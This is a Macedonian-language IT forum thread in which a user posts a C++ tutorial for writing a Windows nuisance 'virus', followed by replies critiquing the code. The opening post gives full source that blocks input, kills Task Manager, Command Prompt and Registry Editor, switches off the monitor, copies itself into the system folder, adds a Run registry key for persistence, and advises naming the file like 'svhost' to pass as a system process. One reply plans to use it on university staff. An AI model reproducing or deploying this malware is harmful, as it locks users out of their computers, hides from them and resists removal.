• Здраво и добредојдовте на форумот на IT.mk.

    Доколку сеуште не сте дел од најголемата заедница на ИТ професионалци и ентузијасти во Македонија, можете бесплатно да се - процесот нема да ви одземе повеќе од 2-3 минути, а за полесна регистрација овозможивме и регистрирање со Facebook и Steam.

Пишување на лажни ‘‘вируси‘‘

  • Ја почнал/а темата
  • #1

NIKIHACK

Intern
10 февруари 2008
438
27
www.facebook.com
-====[ПРВ ДЕЛ]====-


За да успешно го разберете овој туториал потребно е да имате барем основни познавања од C++.Почнуваме

Код:
........

int Freq = 100;
int Duration = 100;
Beep(Freq,Duration);

.......

while(1==1)
{Beep(Freq,Duration);}
}
Кодот погоре ке направи компјутерот да титка од куќиштето без да престане.


Со ова ке направите програма која ке успее да изнервира некого со луд звук.
П: Но како да направиме да неможат да ја сопрат програмата.
О: BlockInput();

BlockInput() е одлична работа...но има еден мал проблем, корисникот може уште да претисне CTRL + ALT + DEL
да го вклучи taskmgr и да ја сопре нашата програма, значи сега единствено решение е да го блокираме taskmgr.
Па тоа и не е којзнае колку тешка работа.


Код:
#include <winable.h> //ни треба за BlockInput

hWin = FindWindow(NULL,"Windows Task Manager");       //да се осигураме дека taskmgr не е вклучен
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0); // ако taskmgr е вклучен ке го исклучиме
BlockInput(true);
cout << "Blokirano" <<endl;
Sleep(10000); //pauses for 10 seconds
BlockInput(false);
cout << "Odblokirano" <<endl;

}

искомпајлирајте го кодот и стартувајте ја програмата, и 10 секунди нема да можете да го мрднете глушецот и да пишувате на тастатурата.
многу крваво..?

П: Сакаме да го направиме C++ вирусот full-screen,како?
О:


Код:
#include <iostream>
using namespace std;

#include <windows.h>

#include <conio.h>

class Program {
public:
void Fullscreen();
};

int main()
{
Program start;
start.Fullscreen();
cout<<"Ova e  full-screen C++ aplikacija!!";
getch();
return 0;
}

void Program::Fullscreen()
{
keybd_event (VK_MENU, 0x38, 0, 0);
keybd_event (VK_RETURN, 0x1c, 0, 0);
keybd_event (VK_RETURN, 0X1c, KEYEVENTF_KEYUP, 0);
keybd_event (VK_MENU, 0x38, KEYEVENTF_KEYUP, 0);
}
_______

-====[ВТОР ДЕЛ]====-



Што ке научите во продочжение

*Правење на thread кој работи додека другите кодови работат
*Блокирање и Уништување на Task Manager и некој други апликации
*ShellExecute
*Палење и гасење на мониторот
*Направете Глушецот да споулавее


Неколку совети

запамти дека овие вируси ги споулавуваат корисниците а не компјутерите, за да не се зезнете самите не го именувајте фајлот како "svchost" или нешто слично
што компјутерот го има.Само сменете дел од името (ако сакате да е нешто како "svchost" пишете "svhost" или нешто слично,и потрудете се кодот да ви биде чист.

*Правење на Thread (CreateThread())

Threadsите се МНОГУ корисни, сватете го ова вала, нормална програма го работи кодот линија по линија,команда по команда,но Threadot може да содржи повеке команди кои ке се стартуваат истовремено (се надевам дека свативте)

Пример


Код:
DWORD WINAPI DestroyWindows(LPVOID)
{
//тука следи кодот
}

int main()
{
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Sleep(10);
}
}
Thread нема да направи програмата да работи уште, па така да по правењето на thread мора да направите вашата програма да остане да работи

*Уништување на Task Manager и некои други ситници...

тоа е многу лесно и не е тешко за сваќање. За да го пронајдете task manager или некоја друга апликација потребно да ја користите следнава команда:"FindWindow()" function.

пример


Код:
HWND TaskMgr;
TaskMgr = FindWindow(NULL,"Windows Task Manager");
сега само треба да и кажете на програмата да направи нешто со пронајдената апликација (да ја затвориме)
example


Код:
TaskMgr = FindWindow(NULL,"Windows Task Manager");
              if( TaskMgr != NULL )
              {
                  PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
              }
значи на почетокот го бараме Task Manager , потоа пракаме порака за негово гасење?

ShellExecute()

ShellExecute() е функција со која се стартува друга програма ( ShellExecute).



Код:
char Notepad[MAX_PATH]="notepad.exe";
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);

Со овој код ке биде стартуван Notepad. Истотака можете да користите и други работи како "char Website[MAX_PATH] = "http:\\www.google.com",
тоа ке ја отвори http:\\www.google.com во вашиот интернет пребарувач .

*Палење Гасење на мониторот

Со нарениот код ке го палите односно гасите мониторот,доста интересни?!

Пример




Код:
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
     Sleep(5000);
     SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);

Овој код ке го изгаси мониторот, и за 5 секунди пак ке го вклучи.

*Направете маусот да споулавее

И овоа е лесно сватливо, треба да направите 2 random вредности (x, y) и да му кажете на маусот да ги следи



Код:
CODE
X = rand()%801;
     Y = rand()%601;
     SetCursorPos( X, Y );
Тоа ке го направи X произволен број 0 - 800, и Y произволен број 0 - 600. Потоа се подесува маусот на таа позиција


Еве еднен прост вирус направен со помош на сите овие команди.


Код:
CODE
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";
      
void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
    srand( time(0) );
    random = rand()%6;    
    system("title :.Virus.:");
    BlockInput( true );
    SetUp();
    BlockInput( false );
    CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
    while(1)
    {
            Run( random );
            Sleep(10);
    }
}
void SetUp()
{
     char system[MAX_PATH];
     char pathtofile[MAX_PATH];
     HMODULE GetModH = GetModuleHandle(NULL);
     GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
     GetSystemDirectory(system,sizeof(system));
     strcat(system,"\\winminer.exe");
     CopyFile(pathtofile,system,false);
    
     HKEY hKey;
     RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
     RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
     RegCloseKey(hKey);
    
     mywindow = FindWindow(NULL,":.Virus.:");
     cout<<"You Are Doomed";
     Sleep(1000);
     ShowWindow(mywindow, false);
}

void Run( int ID )
{
     if( ID == 1 )
     {
         BlockInput(true);
     }
     else if( ID == 2 )
     {
          Beeper();
     }
     else if( ID == 3 )
     {
          OpenStuff();
     }
     else if( ID == 4 )
     {
          Hibernation();
     }
     else if( ID == 5 )
     {
          CrazyMouse();
     }
     else
     {
         BlockInput(true);
         Beeper();
         OpenStuff();
         CrazyMouse();
     }
}

void Beeper()
{
     Freq = rand()%2001;
     Dur = rand()%301;
     Beep( Freq, Dur );
}
void OpenStuff()
{
     ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
     ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
     ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
     ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
     Sleep(1000);
     SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
     X = rand()%801;
     Y = rand()%601;
     SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
      while(1)
      {
              TaskMgr = FindWindow(NULL,"Windows Task Manager");
              CMD = FindWindow(NULL, "Command Prompt");
              Regedit = FindWindow(NULL,"Registry Editor");
              if( TaskMgr != NULL )
              {
                  SetWindowText( TaskMgr, "You Suck Balls Superman");
                  PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
              }
              if( CMD != NULL )
              {
                  SetWindowText( CMD, "You Suck Balls Superman");
                  PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
              }  
              if( Regedit != NULL )
              {

                  SetWindowText( Regedit, "You Suck Balls Superman");
                  PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
              }    
              
              Sleep(10);
      }
}
 

TataMata

Intern
13 јуни 2008
115
1
Не е така едноставно. Сево ова функционира ако имаш администраторски привилегии. Ама под Vista нема ни да функционира...

На пример SendMessage важи
Microsoft Windows Vista and later. Message sending is subject to User Interface Privilege Isolation (UIPI). The thread of a process can send messages only to message queues of threads in processes of lesser or equal integrity level.
Да не кажувам дека под стандардни привилегии BlockInput не работи...

Ама под администраторски привилегии (дефолт на windows xp) ќе работи.
 

stefan007

Intern
27 јуни 2007
395
2
Е ова е стварно добра работа, кога ќе имаме вежби на факс ќе се зезаме малку со асистентите :LOL::LOL:
 

vasildb

Intern
17 април 2007
209
6
Код:
while(1==1)
{Beep(Freq,Duration);}
}
Заграда вишок. И зошто не направиш while(1)?

Код:
#include <winable.h> //ни треба за BlockInput

[B]hWin = FindWindow(NULL,"Windows Task Manager");[/B]       //да се осигураме дека taskmgr не е вклучен
}
Кај е дефиниран хендлот хWin, или е изгубен некаде во преводот?

Код:
*Правење на thread кој работи додека другите кодови работат
Ако човек не знае што е ова, не верувам дека оваа реченица би му разјаснила нешто.

Код:
*Уништување на Task Manager и некои други ситници...
Како што кажа некој погоре, тоа одамна беше, со овие финти.

Код:
*Направете маусот да споулавее

И овоа е лесно сватливо, треба да направите 2 random вредности (x, y) и да му кажете на маусот да ги следи

[code]
CODE
X = rand()%801;
     Y = rand()%601;
     SetCursorPos( X, Y );
Тоа ке го направи X произволен број 0 - 800, и Y произволен број 0 - 600. Потоа се подесува маусот на таа позиција[/CODE]
Е тоа е, туторијалите за ова се одамна, ехееее ко се користеа монитори со 800x600 резолуција.:))

Код:
Еве еднен прост вирус направен со помош на сите овие команди.
Сакаш да речеш функции?

Код:
За да успешно го разберете овој туториал потребно е да имате барем основни познавања од C++.
Ти разбра нешто од ова што ни објаснуваш нас?

Код:
SetWindowText( Regedit, "You Suck Balls Superman");
И браво за ова.:lut2:
Пробај со Чак Норис, да видиме дали ќе ти успее.:LOL:
 
  • Ми се допаѓа
Реакции: Avid

fuUuUzZzZy

On your way to fame
14 декември 2007
4,842
885
Ohrid
Ова интересно, само жалам што немам познавања од C.:plachko2:
Поправка - c++ e, не е C :)

Инаку, незнам зошто, ама крајниот “вирус“ кај мене не работи.
Едноставно, кога ќе кликнам на .exe фајлот, тој исчезнува и то е се`. Нема никакви симптоми од вирус. :zbunet3:
 

Stane

Gaining Experience
4 октомври 2007
2,497
77
Затоа што не е вирус,или пак,почекај неколку дена,и ке видиш,може да е тајм бомба :LOL:
 
  • Ми се допаѓа
Реакции: Avid

Jano

Intern
8 февруари 2008
281
11
Интересни кодови и онака учам Ц++.
тајм бомба 0.1.2.3.4.5......и :D
 

Нови мислења

Последни Теми

Статистика

Теми
43,595
Мислења
824,257
Членови
28,088
Најнов член
JonTurk
На врв Дно